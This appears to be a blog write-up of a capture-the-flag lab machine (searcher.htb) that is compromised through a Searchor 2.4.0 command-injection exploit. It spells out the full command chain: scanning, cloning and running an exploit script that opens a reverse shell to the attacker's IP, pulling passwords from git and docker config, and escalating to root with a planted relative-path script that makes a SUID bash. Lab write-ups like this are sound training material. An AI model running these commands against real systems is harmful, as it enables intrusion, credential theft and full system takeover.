Summary
This machine was compromised through a chain of three issues. First, the web application used a vulnerable version of a package, Searchor 2.4.0, which allowed arbitrary command injection. Second, a non-administrative user was permitted to run a script as root. Third, that script invoked a shell script using a relative path, which ultimately led to privilege escalation.
Recommendation
Assuming this were a real environment, I would recommend the following. Update the packages in use regularly to patch known vulnerabilities. Remove the ability for non-administrative users to run scripts as root, or restrict it to the minimum necessary. If running the script as root is unavoidable, the shell script must be called using an absolute path rather than a relative one.
Reconnaissance
First of all, perform a port scan using Nmap.
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.49.173
The scan results revealed that TCP ports 22 and 80 are open on the target host.
Next, perform a detailed scan on the open ports.
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.49.173
The output shows "Service Info: Host: searcher.htb; ~", which tells us that this machine's hostname is searcher.htb.
Add the mapping between the IP address and the hostname to /etc/hosts.
echo "10.129.49.173 searcher.htb" | sudo tee -a /etc/hosts
Enumeration
Access the following URL in a web browser.
http://searcher.htb/
Looking at the footer, we can see that it says "Searchor 2.4.0".
Searching the web for "Searchor 2.4.0 exploit" returns the following GitHub repository. It states that an arbitrary command injection vulnerability affects Searchor, including version 2.4.0.
https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
Exploitation
Let's use this exploit.
git clone https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection.git
chmod +x exploit.sh
./exploit.sh http://searcher.htb/ 10.10.17.153 4444
We got a shell!
Obtain the user.txt.
cat /home/svc/user.txt
Privilege Escalation
At the initial foothold, there is a .git repository.
ls -la
Let's check the config.
cat config
It is revealed that there is a set of credentials: cody : jh1usoih2bkjaspwe92.
Let's see other Git-related items such as logs.
git -c safe.directory='*' log --oneline --all
-c safe.directory='*' is used to bypass the following fatal error: fatal: detected dubious ownership in repository at '...'.
Proceed as instructed.
git config --global --add safe.directory /var/www/app
git -c safe.directory='*' log --oneline --all
There is a commit called 5ede9ed. Let's look inside it.
git -c safe.directory='*' show 5ede9ed
It contains administrator@gitea.searcher.htb, which suggests that a site called gitea.searcher.htb may exist.
So, let's add this name to /etc/hosts as well.
sudo vim /etc/hosts # append the hostname
cat /etc/hosts
Access the site in a web browser.
http://gitea.searcher.htb/
We can see Gitea, a Git hosting service similar to GitHub.
The following URL shows that there are two users: administrator and cody.
http://gitea.searcher.htb/explore/users
Let's try the obtained credentials for cody on SSH.
ssh svc@10.129.49.173
Logged in!
Let's look for anything that could be a key to privilege escalation.
sudo -l
It states that a script called system-checkup.py can be run as root.
Let's run the script.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Let's try the first action in the list.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
It shows that there are two Docker containers: gitea and mysql_db.
Next action.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
I couldn't understand what format it expected. After checking a walkthrough, I understood that it works the same way as the Docker command shown below.
https://docs.docker.com/reference/cli/docker/inspect/
https://docs.docker.com/engine/cli/formatting/
So, this is the command expected.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea
Let's use https://jsonprettier.com/ to make it easier to read.
{
"Id": "960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb",
"Created": "2023-01-06T17:26:54.457090149Z",
"Path": "/usr/bin/entrypoint",
"Args": [
"/bin/s6-svscan",
"/etc/s6"
],
"State": {
"Status": "running",
"Running": true,
"Paused": false,
"Restarting": false,
"OOMKilled": false,
"Dead": false,
"Pid": 1722,
"ExitCode": 0,
"Error": "",
"StartedAt": "2026-10-02T06:23:04.301905578Z",
"FinishedAt": "2023-04-04T17:03:01.71746837Z"
},
"Image": "sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78",
"ResolvConfPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf",
"HostnamePath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname",
"HostsPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts",
"LogPath": "/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log",
"Name": "/gitea",
"RestartCount": 0,
"Driver": "overlay2",
"Platform": "linux",
"MountLabel": "",
"ProcessLabel": "",
"AppArmorProfile": "docker-default",
"ExecIDs": null,
"HostConfig": {
"Binds": [
"/etc/timezone:/etc/timezone:ro",
"/etc/localtime:/etc/localtime:ro",
"/root/scripts/docker/gitea:/data:rw"
],
"ContainerIDFile": "",
"LogConfig": {
"Type": "json-file",
"Config": {}
},
"NetworkMode": "docker_gitea",
"PortBindings": {
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
},
"RestartPolicy": {
"Name": "always",
"MaximumRetryCount": 0
},
"AutoRemove": false,
"VolumeDriver": "",
"VolumesFrom": [],
"CapAdd": null,
"CapDrop": null,
"CgroupnsMode": "private",
"Dns": [],
"DnsOptions": [],
"DnsSearch": [],
"ExtraHosts": null,
"GroupAdd": null,
"IpcMode": "private",
"Cgroup": "",
"Links": null,
"OomScoreAdj": 0,
"PidMode": "",
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyRootfs": false,
"SecurityOpt": null,
"UTSMode": "",
"UsernsMode": "",
"ShmSize": 67108864,
"Runtime": "runc",
"ConsoleSize": [
0,
0
],
"Isolation": "",
"CpuShares": 0,
"Memory": 0,
"NanoCpus": 0,
"CgroupParent": "",
"BlkioWeight": 0,
"BlkioWeightDevice": null,
"BlkioDeviceReadBps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteIOps": null,
"CpuPeriod": 0,
"CpuQuota": 0,
"CpuRealtimePeriod": 0,
"CpuRealtimeRuntime": 0,
"CpusetCpus": "",
"CpusetMems": "",
"Devices": null,
"DeviceCgroupRules": null,
"DeviceRequests": null,
"KernelMemory": 0,
"KernelMemoryTCP": 0,
"MemoryReservation": 0,
"MemorySwap": 0,
"MemorySwappiness": null,
"OomKillDisable": null,
"PidsLimit": null,
"Ulimits": null,
"CpuCount": 0,
"CpuPercent": 0,
"IOMaximumIOps": 0,
"IOMaximumBandwidth": 0,
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
]
},
"GraphDriver": {
"Data": {
"LowerDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff",
"MergedDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged",
"UpperDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff",
"WorkDir": "/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"
},
"Name": "overlay2"
},
"Mounts": [
{
"Type": "bind",
"Source": "/root/scripts/docker/gitea",
"Destination": "/data",
"Mode": "rw",
"RW": true,
"Propagation": "rprivate"
},
{
"Type": "bind",
"Source": "/etc/localtime",
"Destination": "/etc/localtime",
"Mode": "ro",
"RW": false,
"Propagation": "rprivate"
},
{
"Type": "bind",
"Source": "/etc/timezone",
"Destination": "/etc/timezone",
"Mode": "ro",
"RW": false,
"Propagation": "rprivate"
}
],
"Config": {
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"22/tcp": {},
"3000/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "server",
"com.docker.compose.version": "1.29.2",
"maintainer": "maintainers@gitea.io",
"org.opencontainers.image.created": "2022-11-24T13:22:00Z",
"org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
"org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
"org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
}
},
"NetworkSettings": {
"Bridge": "",
"SandboxID": "eea368ea91bca44d911f0ef596e6c830d81b43ed38f5038a0a031dba6f37366c",
"HairpinMode": false,
"LinkLocalIPv6Address": "",
"LinkLocalIPv6PrefixLen": 0,
"Ports": {
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
},
"SandboxKey": "/var/run/docker/netns/eea368ea91bc",
"SecondaryIPAddresses": null,
"SecondaryIPv6Addresses": null,
"EndpointID": "",
"Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"IPAddress": "",
"IPPrefixLen": 0,
"IPv6Gateway": "",
"MacAddress": "",
"Networks": {
"docker_gitea": {
"IPAMConfig": null,
"Links": null,
"Aliases": [
"server",
"960873171e2e"
],
"NetworkID": "cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227",
"EndpointID": "15e2c5b2165e4ffbf47533342c7d95f6ad7c67d3367a9d1d117d81ea6a792d3a",
"Gateway": "172.19.0.1",
"IPAddress": "172.19.0.2",
"IPPrefixLen": 16,
"IPv6Gateway": "",
"GlobalIPv6Address": "",
"GlobalIPv6PrefixLen": 0,
"MacAddress": "02:42:ac:13:00:02",
"DriverOpts": null
}
}
}
}
We can see a password: yuiu1hoiu4i5ho1uh.
Let's try the password for the administrator account on Gitea. Access the following URL: http://gitea.searcher.htb/user/login?redirect_to=%2f, and log in with the credentials.
Logged in!
Looking at the source of system-checkup.py, the action called full-checkup runs ./full-checkup.sh, which is a relative path.
So, this implies that if I place a malicious script somewhere like /tmp and execute system-checkup.py from there, it will run my script.
Let's try it out.
cd /tmp; printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash\n' > full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
rootbash is created!
./rootbash -p
Root shell obtained!
Lessons Learned
- Should have checked the Git config as well.
- Should have run
sudo -lfirst. - Should have recognized that it was a Docker command.
- Should have noticed that the script used a relative path to call the shell script.





























Top comments (0)